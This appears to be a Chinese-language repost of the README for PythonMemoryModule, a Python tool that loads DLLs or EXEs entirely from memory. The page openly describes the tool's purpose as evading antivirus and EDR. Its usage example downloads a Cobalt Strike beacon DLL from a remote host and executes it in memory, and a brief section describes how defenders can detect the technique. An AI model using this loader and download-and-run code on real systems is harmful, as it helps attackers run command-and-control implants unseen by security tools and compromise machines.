PythonMemoryModule | Python 完全实现内存中加载 DLL插图

介绍

PythonMemoryModule 是最初由 Joachim Bauch 发布的 MemoryModule 技术的 Python ctypes 移植。它可以使用 Python 加载 dll 或非托管 exe,而无需使用外部库 (pyd),它利用 pefile 来解析 PE 标头和 ctypes。

该工具最初被认为用于 Pyramid 模块,提供对 AV/EDR 的规避,通过完全从内存中加载 python.exe 中的 dll/exe 有效负载。但是其他用例也是可能的(IP 保护、pyds 内存加载、其他隐秘技术的衍生产品),因此作者决定创建一个专门的回购协议。

优势

  • 基本上允许完全在 Python 解释语言中使用 MemoryModule 技术,允许使用股票签名的 python.exe 二进制文件从内存缓冲区加载 dll,而无需将外部代码/库(例如 pymemorymodule 绑定)放在磁盘上被 AV/EDR 标记或可能引起用户的怀疑。
  • 在编译语言加载器中使用 MemoryModule 技术需要在加载器本身中嵌入 MemoryModule 代码。使用 Python 解释语言和 PythonMemoryModule 可以避免这种情况,因为代码可以在内存中动态执行。
  • 可以通过在内存中动态下载、解密和加载本应隐藏起来以免被窥视的 dll 来获得一定程度的知识产权保护。请记住,dll 仍然可以从内存中恢复并进行逆向工程,但至少需要攻击者付出更多努力。
  • 可以在不执行注入或 shellcode 执行的情况下加载无阶段负载 dll 。加载过程模仿 LoadLibrary Windows API(它采用磁盘上的路径作为输入),而无需实际调用它并在内存中运行。

如何使用

以下示例演示了如何下载 Cobalt Strike 无阶段信标 dll 并将其加载到内存中:

import urllib.request
import ctypes
import pythonmemorymodule

request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()

请注意,如果您在可延展的配置文件中使用暂存,则 dll 将无法使用 LoadLibrary 加载,因此 MemoryModule 将无法工作。

PythonMemoryModule | Python 完全实现内存中加载 DLL插图2

如何检测

使用 MemoryModule 技术将主要尊重目标 DLL 的部分权限并避免嘈杂的 RWX 方法。然而,在程序内存中,将有一个不由磁盘上的 dll 支持的私有提交,这是一个 MemoryModule 告密者。

未来的改进

  • 添加对参数解析的支持。
  • 添加对 .NET 程序集执行的支持(基本)。